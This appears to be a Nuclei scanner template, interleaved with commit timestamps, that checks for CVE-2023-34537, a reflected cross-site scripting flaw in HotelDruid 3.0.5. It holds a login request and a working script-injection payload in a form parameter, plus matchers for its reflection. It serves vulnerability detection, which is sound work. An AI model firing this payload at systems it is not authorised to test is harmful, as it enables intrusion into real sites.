2023-06-24 14:16:18 +00:00
id : CVE-2023-34537
info :
2023-06-30 11:26:36 +00:00
name : Hoteldruid 3.0.5 - Cross-Site Scripting
2023-06-24 14:16:18 +00:00
author : Harsh
severity : medium
description : |
A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
reference :
- https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
- https://nvd.nist.gov/vuln/detail/CVE-2023-34537
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cve-id : CVE-2023-34537
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.0007
cpe : cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
2023-06-24 14:16:18 +00:00
metadata :
2023-07-01 13:35:16 +00:00
max-request : 2
2023-06-24 14:35:55 +00:00
verified : true
2023-07-11 19:49:27 +00:00
vendor : digitaldruid
product : hoteldruid
2023-06-24 18:14:43 +00:00
tags : cve,cve2023,hoteldrui,xss,authenticated
2023-06-24 14:16:18 +00:00
http :
- raw :
- |
2023-06-30 11:26:36 +00:00
POST /inizio.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
- |
POST /creaprezzi.php HTTP/1.1
2023-06-24 14:16:18 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-06-24 14:35:55 +00:00
2023-06-24 14:16:18 +00:00
anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1
2023-06-30 11:26:36 +00:00
skip-variables-check : true
2023-06-24 14:16:18 +00:00
redirects : true
matchers :
- type : dsl
dsl :
2023-06-30 11:26:36 +00:00
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert(document.domain)</script>")'
- 'contains(body_2, "HotelDruid")'
2023-06-24 14:16:18 +00:00
condition : and